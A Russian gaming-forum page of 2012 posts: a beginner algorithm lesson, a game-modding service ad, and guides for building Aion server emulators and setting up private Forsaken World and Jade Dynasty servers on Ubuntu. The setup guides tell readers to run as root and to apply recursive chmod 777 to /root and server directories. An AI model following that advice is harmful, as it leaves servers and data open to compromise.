«Сидеть», «Лежать», «Дай лапу» – но если на хозяина кто-то нападает, будет сидеть и смотреть, пока не услышит команду «Фас»1. Для того, чтобы написать программу, нужно сначала придумать алгоритм. Алгоритм – это последовательность действий, которые нужно сделать. На самом деле, мы постоянно пользуемся алгоритмами – просто не задумываемся об этом. Вот, например, решили мы сварить картошку. Для этого есть четкий порядок действий. Что-то вроде такого: ---------------------------------- 1. Почистить картошку 2. Налить воду в кастрюлю 3. Поставить кастрюлю на плиту 4. Добавить соль 5. Включить плиту 6. Положить почищенную картошку в воду 7. Варить картошку, пока она не станет мягкой 8. Выключить плиту 9. Снять кастрюлю 10. Слить воду
    Сообщение от: HollyPw, 1 окт 2012 в разделе: Уроки
  15. barondi
    Команда Maitreya объявляет о приеме заказов на реализацию ваших инноваций. Если в ваших планах создать серьезный, качественный и уникальный проект, тогда обращайтесь к нам. Спектр наших услуг: Изменение любых показателей персонажа. Мы способны изменить сами формулы расчета любого из статов и показателей персонажа. (Дух Шаманов, Невидимость ассасинов, Расчет атаки, защиты, ПА, ПЗ...). Так же мы можем ввести новый показатель для персонажей. Создание новых слотов эквипмента персонажа, создание новых типов предметов, наделение предметов особыми свойствами. Допустим, вам нужно создать предмет, который, попадая в инвентарь, творил какие-то чудеса. Создание и написание различных функций игры. Мы можем разработать новые функции для режимов PvP, PvE, для данжей и мира. Изменение полного функционала скиллов. Если вы захотите изменить показатель любого умения - мы с легкостью это реализуем. Изменяем частоту ТВ. Сколько раз в неделю захотите - столько и реализуем. Изменяем Кланы, Группы. Изменяем Искусственный Интеллект монстров. Делаем на заказ крупные редактирования игры на среднем уровне (через редакторы tasks, elements...). Реализуем клиентские и серверные разработки. Создаем защиту клиента, защиту от багоюзерства. Интегрированный ТОП игроков в удобном виде. Система автоматически собирает данные об игроках и записывает их в .txt файл, откуда вы удобно сможете извлекать данные на сайт. Сделать можем много чего. Список будем пополнять. С вас - точное изложение мысли, заказа и сумма на e-mail [email protected]. С нас - качественная работа и тех. поддержка разработанных инноваций. Если будут вопросы - можете задавать их в ЛС на этом форуме. Черный Список: Roymike
    Сообщение от: barondi, 28 сен 2012 в разделе: Услуги
  16. ShamanKING
    Когда-то недавно я еще не знал, что такое "Ядро", ЯП Java, и с Чем его едят.. Как компилить. Но после долгих поисков натолкнулся на интересную программу, в которой и по сей день редактирую исходные коды Java. Главные плюсы этой Программы - как по мне это моментальная проверка на ошибки.. *Написал чтото.. если правильно - то значок файлика, который ты редактируешь в этой Программе не изменился. **Если не правильно - на значке файлика появился восклицательный знак ..и в самом коде подсветило ошибку.. И все это в режиме реального времени. Всем новичкам..кто только знакомится с ЯП Java эта Программа будет очень полезна (да и не только новичкам) Необходимое ПО : 1. Java JDK (Конкретно для этого Ява эмулятора версия 6) *Если вы установили JDK, то саму Java (для запуска сервера вам не надо устанавливать, в JDK уже все включенно) Качать под свою разрядность ОС: JDK 6x64_____JDK 6x32 2. Настройка JDK и установка TortoiseSVN Можно посмотреть тут 3. Скачать NetBeans IDE можно с офф. сайта (найдете сами) Или скачать тут (версия 7.0.1 (под эту версию писалась статья)): NetBeans IDE 4. Прочие программы для запуска сервера и его администрирования найдете сами... Или : Mysql 5.1x64_____Mysql 5.1x32_____Navicat 8 ВАЖНО! Качать все программы под свою разрядность Операционной Системы! Далее все устанавливаем.. Описывать я все это не буду, ибо там вроде все понятно А теперь приступаем к основной части: *Создание проектов из исходников ..и их подгонка 1. Скачиваем Исходники с СВН : Правой кнопкой по раб.столу или гдето в папке (не важно) И делаем все, как на скринах : [attachment=267:1.jpg] [attachment=268:2.jpg] Выбираем для скачки только нужные файлы : [attachment=269:3.jpg] [attachment=270:4.jpg] Ждем, пока скачается... [attachment=271:5.jpg] Все, мы получили папку C:\aionknight с нашими исходниками (перед правкой их желательно сделайте копию..на всякий пожарный) 2.Подгонка Исходников под Проект NetBeans : Чтобы все файлы приняло...Отредактируйте исходник - В этой статье описанно Для примера возьму ChatServer Переименовываем Папку "dist" и "build.xml" - Затем, что при создании проекта build.xml - замениться, а если есть папка dist - проект не создастся *Если папки dist нет... не страшно )) значит с ней мы не работаем, только с build.xml [attachment=272:6.jpg] Создаем Проект [attachment=273:7.jpg] [attachment=274:8.jpg] Вписываем Название и путь к проекту (где он у нас лежит) [attachment=275:9.jpg] Добавляем папку с исходными кодами [attachment=276:10.jpg] [attachment=277:11.jpg] Добавяем в Настройки Проекта пути к Библиотекам [attachment=278:12.jpg] Как мы видим... значок с ошибкой...и надо это исправить ) [attachment=279:13.jpg] Во всех вкладках делаем тоже самое... [attachment=280:14.jpg] Смотрим - Значок с ошибкой исчез (после проверки) [attachment=281:15.jpg] Восстанавливаем папку dist и build.xml удаляем(тот, который создал проект), а вместо него переименовываем build1.xml(тот, который мы переименовали в начале) на build.xml Получаем такую картину [attachment=282:16.jpg] 3. Подгонка build.xml под Проект NetBeans : Изменить строчку : <property name="build" location="../tools/Compiled/ChatServer"/> На : <property name="build" location="../Compiled/ChatServer"/> Удаляем строки : </target> <target name="dist" depends="jar"> Что и где Удалять отмеченно Красным [attachment=283:chat.jpg] 4. Построение проекта (проверим..все ли мы правильно сделали ?) : Для построения проекта служит кнопка : [attachment=284:18.jpg] Клац на нее. [attachment=288:19.jpg] Внизу программы появиться Лог построения... И смотрим на конечный результат (Он выделяется цветом...) Если все правильно - то идем дальше...если нет, ищем что не правильно... 5. Повторяем пункт 2 и 3 для всех остальных проектов, Вот Скрины build.xml, для них..что и где Удалять отмеченно Красным Для Commons : Изменить строчку : <property name="build" location="../tools/Compiled/Commons"/> На : <property name="build" location="../Compiled/Commons"/> Удаляем строки : <exec dir="../tools" executable="svnversion.exe" outputproperty="revision" failifexecutionfails="false" osfamily="windows"> <arg line="-n ."/> </exec> <exec dir="../tools" executable="svnversion" outputproperty="revision" failifexecutionfails="false" osfamily="unix"> <arg line="-n ."/> </exec> <tstamp> <format property="date" pattern="yyyy-MM-dd-HH:mm"/> </tstamp> </target> <target name="dist" depends="jar"> [attachment=285:commons.jpg] Для GameServer : Изменить строчку : <property name="build" location="../tools/Compiled/GameServer"/> На : <property name="build" location="../Compiled/GameServer"/> Удаляем строки : <exec dir="../tools" executable="svnversion.exe" outputproperty="revision" failifexecutionfails="false" osfamily="windows"> <arg line="-n ."/> </exec> <exec dir="../tools" executable="svnversion" outputproperty="revision" failifexecutionfails="false" osfamily="unix"> <arg line="-n ."/> </exec> <tstamp> <format property="date" pattern="yyyy-MM-dd-HH:mm" /> </tstamp> </target> <target name="dist" depends="jar"> [attachment=286:game.jpg] Для LoginServer : Изменить строчку : <property name="build" location="../tools/Compiled/LoginServer"/> На : <property name="build" location="../Compiled/LoginServer"/> Удаляем строки : </target> <target name="dist" depends="jar"> [attachment=287:login.jpg] 6. Компилим все остальные проекты...Для проверки :) Ну а потом наши проекты обновляем..когда выходят новые исходники...Обновляем все, кроме build.xml Ну а если у вас уже вообще ничего не получилось...или еще что... Даю архивчик - патч )) поверх исходников кладем с заменой и проекты для NetBeans готовы Патч под 116 ревизию... за новые ревы не знаю...может прижиться..может нет (если отредактируют папки..или build.xml (но это врядли)) Качать ТУТ! Автор: Svigelf
    Сообщение от: ShamanKING, 10 сен 2012 в разделе: AION
  17. ShamanKING
    Всем привет. Подобных статей конечно куча, но зачем гонять пользователей по этой куче? В этой статье вы найдете инструкцию по компиляции сборки Aion Knight для Windows (XP/7). Нам потребуется: 1. TortoiseSVN (скачать) - Subversion клиент 2. Java Platform (JDK-6u30) (скачать) Установка TortoiseSVN Проблем возникнуть не должно, устанавливается как обычное приложение для Windows. Установка JDK Тоже не должно возникнуть проблем, ставим все по умолчанию. Настройка JDK (Windows 7) Нам необходимо создать переменную JAVA_HOME в системной среде. Для этого, нажмите правой кнопкой мыши на "Мой компьютер", выберите "Свойства". Далее, нажимаем на "Дополнительные параметры системы", жмем кнопку "Переменные среды...". Под "Системные переменные" жмем "Создать". В поле "Имя переменной" указываем JAVA_HOME В поле "Значение переменной" указываем путь до JDK, например, в моем случае: С:\Program Files\Java\jdk1.6.0_27\ [img] Далее жмем "ОК", "ОК", "ОК". Готово! Настройка JDK (Windows XP) --- У меня нет XP, поэтому не могу конкретно написать, куда и где там, но все по аналогии. Позже, надеюсь, добавляю и для XP. Загрузка исходных кодов с SVN Создаем папку, любую в любом месте, где будут лежать исходники сборки. В моем случае это будет C:\AionKnight Кликаем правой кнопкой по папке, выбирает пункт SVN Checkout... (в 64-bit это строка может находится во вкладке x64). В поле "URL of repository" указываем http://aionknight.googlecode.com/svn/trunk/ Все остальное оставляем по умолчанию, жмем "ОК". [img] После того, как процесс завершится, жмем "ОК". Компиляция Переходим в папку tools (в моем случае это C:\AionKnight\tools\) и запускаем BuildAll.bat Вводим 1 и жмем Enter. Процесс пошел. После окончания компиляции (у меня ушло около 3 минут), готовые архивы будут находится в папках: \chatserver\build\ \commons\build\ \gameserver\build\ \loginserver\build\ Готово! Надеюсь, данная статья окажется кому-нибудь полезной. PS: Информация в данной статье актуальна на момент написания. Автор: MARS
    Сообщение от: ShamanKING, 10 сен 2012 в разделе: AION
  18. demod
    Итак всем привет решил сделать гайд по сборке сервера FW на Ubuntu Шаг 1.Выберем ОС для дальнейшего использования Ubuntu 11.10 desktop x64 и Ubuntu 11.10 Server x64 Шаг 2.После установки ОС устанавливаем дополнения для работы сервера 1 - sudo passwd root / Create root pass 1° - su root / login as root 2 - apt-get update 2° - apt-get upgrade 3 - apt-get install openssh-server 4 - apt-get install openjdk-6-jre 5 - apt-get install apache2 6 - apt-get install mysql-server 7 - apt-get install php5 8 - apt-get install php5-mysql 9 - apt-get install phpmyadmin 10 - apt-get install mc 11 - apt-get install ia32-libs Шаг 3. Скачиваем полный сервер версии V0.84 Создайте папку в свободном месте положите все эти архивы и распакуйте Repack_phprap.001 Repack_phprap.002 Repack_phprap.003 Repack_phprap.004 Пароль на архив: wofgames.com.br Шаг 4. Скачиваем клиент и обновление для сервера Установите клиент после этого обновите до 0.84 с помощью патча Full Client V0.75 Patch V0.75 > V0.84 Шаг 5. Далее выдаем права и редактируем файлы 1.Изменим ИП адреса в файлах (Также как и в серверах pw) /root/phprap/gamed/gmserver.conf /root/phprap/gamed/gs.conf 2. Прописываем настройки в файлах: /etc/table.xml /var/www/config.php 3. Создаем Базы Подключаемся к http://localhost/phpmyadmin/Импортируем базы sql файлы - FW_tabels.sql, FW_procedures.sql 4. закидываем файлы в папки /lib и /lib32 5. Раздаем права: chmod -R 777 /root chmod -R 777 /usr/java ldconfig /lib ldconfig /lib32 6. Создаем аккаунт http://localhost/register/ 7. Запускаем сервер ./start Вот вроде и все Права на сборку Принадлежат -phprap Перевел и дополнил Demod
    Сообщение от: demod, 6 авг 2012 в разделе: FW Сервер
  19. Ацкой
    Сообщение

    Работаем с path.sev

    Оскотче, самокопипаста, ну да пойух, ибо задолбали какие-то людий в скайпе по этому поводу. Для слоупоков: path.sev - это серверный файл, в котором указываются траектории для перемещения неигровых персонажей. Ковырять его для большинства будет удобней тулзой от Ронни, хотя лучше воспользоваться этим, а в идела вообще прогой Морза. Пф, подготовим кухню поле брани: Влезем в игру и шлепнем в тихом мирном месте росянку. Найух Росянку, что-то пострашнее: [img] Запускаем sMaptool, открываем им path.sev от нужного региона, дико тыкаем там ADD NEW на списке имеющихся путей, после чего создаем там несколько точек и сегментов, количество которых должно быть на 1 меньше, нежели точек, ввиду цикличности всех траекторий в path.data: [img] Такс, разберемся с координатами. Первой (по глубокому убеждению Ронии - нулевой) точке мы впарим координаты недавно выставленного моба. Остальным - любые другие, лишь бы не в текстурах или за краем конфига. Сегменты. START POINT означает ИД начальной точки движения и соответствует CONTROL POINT 1, а поле END POINT -ид финалной точки движения и соответствует CONTROL POINT 2 (координаты от точек придется снова вписать, иначе движение будет рассчитываться относительно центра карты с нулевыми координатами). В каждом сегменте начальная точка движения является финальной точкой от предыдущего сегмента, и это, блджад, закон. Нарисовались вдоволь, топайте в нпсген. Отыскивайте там своего новоиспеченного моба, в поле PATH ID впишите идентификатор пути, который вы только что создали: [img] Все, теперь если вы при размещении моба, которого недавно создали, не портнулись подальше, то он прибежит к вам и додаст люлей. By Ацкой и DeBalance Тeam
    Сообщение от: Ацкой, 25 июл 2012 в разделе: PW Документация
  20. starwars
    Всем привет ! По многочисленым запросам я решил сделать гайд по установке сервера Jade Dynasty 3.0.1 (VMWare/Ubuntu) . 1 Для начала скачиваем Сборка 1.2 Ubuntu 10.4 1.3 VMWare 8 . 2 Устанавливаем VMWare (если нету) 2.1 Распаковываем сборку в чистую папку . 2.2 Качаем authd 2.3 Из архива Authd.zip распаковываем только папку MySQL. 2.4 Устанавливаем Ubuntu 10.4 на VMWare . 2.5 После устанавке заходим на пользователя, которого вы создали при установке ОС . 3 Пишем команду sudo passwd root 3.1 Пишем пароль от пользователя, на которого вы зашли . 3.2 Затем нажимаеи ENTER 3.3 В следующих 2-ух строках пишем пароль от root (новый) 3.4 После того как вы поменяли пароль пользователя root, пишем exit 3.5 Снова в строке логин пишем root 3.6 В строке пароля, пароль от root. Когда вы вошли пишем следующие команды: apt-get install apache2 apt-get install mysql-server apt-get install php5 apt-get install php5-mysql apt-get install phpmyadmin apt-get install openjdk-6-jdk 5 После того как вы установили пакеты скачиваем WinSCP 5.1 Коннектимся к OC пишем ип его можно узнать прописав в терминале ifconfig 5.2 В строке логина root в строке пароля, пароль от root. 6 Заливаем файлы ! 6.1 Выйдем из папки root . 6.2 А во левом окне идём в папку сборки. 6.3 Переносим всё /usr /root /etc /lib 7 После переноса начнём редактировать сборку ! 7.1 Перекидываем папку myauthd в папку /root , И файлик myau 7.2 Редактируем файл qd , который тоже в папке /root 7.3 Он должен выглдяить вот так #!/bin/sh cd /usr/rain/gacd ./gacd gamesys.conf & sleep 2 cd /usr/rain/gdeliveryd ./gdeliveryd gamesys.conf & sleep 3 cd /usr/rain/glinkd ./glinkd gamesys.conf 1 & sleep 4 cd /usr/rain/gamedbd ./gamedbd gamesys.conf & sleep 5 cd /usr/rain/uniquenamed ./uniquenamed gamesys.conf & sleep 6 cd /usr/rain/gamed ./gs gs.conf gmserver.conf gsalias15.conf & sleep 7 7.4 Идём в папку /root/myauthd/build 7.5 Отрываем файл table.xml в блокноте. 7.6 Редактируем бд и пароль от MySQL . 7.7 Вот подробнее <connection name="auth0" poolsize="3" url="jdbc:mysql://localhost:3306/БД?useUnicode=true&amp;characterEncoding=utf8" username="root" password="Пароль от MySQL "/> 7.8 Сохраняем и закрываем. (тоже самое делаем в папке /etc ) 8 Cкачиваем 3 data файлов gshop.data element.data gshop1.data 8.1 Закидываем их в папку /usr/rain/gamed/config 8.2 Пропишем папкам разрешение прописав в терминале следующие команды: chmod 777 /root -R chmod 777 /usr/rain -R chmod 777 /usr/java -R chmod 0755 /root/myauthd -R 8.3 Создаём БД 8.4 Идём по ссылке http://ВАШ IP/phpmyadmin 8.5 Посередине есть поле пишем там название вашей БД (любое) и нажимаем Создать 8.6 После вас перебросит на другую страницу. 8.7 Вверху найдите Импорт и нажмите 8.8 Скачайте dbo.sql 8.9 У в PhpMyAdmin укажите до него путь. 8.10 Всё база данных создана ! 9 Скачиваем регу MorzE 9.1 Заливаем её в папку /var/www 9.2 Настраиваем всё под себя в файле config.php 9.3 Заходим на http://ВАШ IP/index.php 9.4 Регистрируем 1 аккаунт (это очень важный аккаунт, никому не давайте от него пароль) (Да и сами лучше на заходите) 9.5 Регаем 2 аккаунт. 9.6 Даём себе GM заходим на http://ВАШ IP/phpmyadmin 9.7 Нажимаем на вашу БД (базу данных) 9.8 И вверху ищем SQL запросы. 9.9 После того как нашли, нажмите. 9.10 В белом поле пишите call addGM (48, 1) Нажимаем ОК. Всё вы GM . 10 Настраиваем клиент 10.1 Все Data файлы, которые вы скачали закидываем в Jade Dyansty 3.0.1/element/data Клиент можно будет скачать на форуме. 10.2 Далее идём в Jade Dyansty 3.0.1/element/userdata/server 10.3 Открываем файл Serverlist.txt И меняем там ип и название тожно можно .Должно выглядеть вот так: Ваше название Ваше название 29000:ваш IP 1 10.4 Отредактировали, сохраняем и закрываем 11 Запускаем сервер ! 11.1 Пишем в терминале cd /root 11.2 После пишим ./myau 11.3 Нажимаем ALT+F2 11.4 Снова заходим в пользователя root 11.5 И пишем ./qd 11.6 Ждём 5 минут.... 11.7 После того как пойдут строки TRACE : (game 15) ....... Сервер заработал !!! Открываем клиент пишем логин и пароль. И вы зашли на сервер ! Если будут ошибки или проблемы пишите сюда или добовляйтесь в скайп (moperi6
    Сообщение от: starwars, 17 июн 2012 в разделе: JD Сервер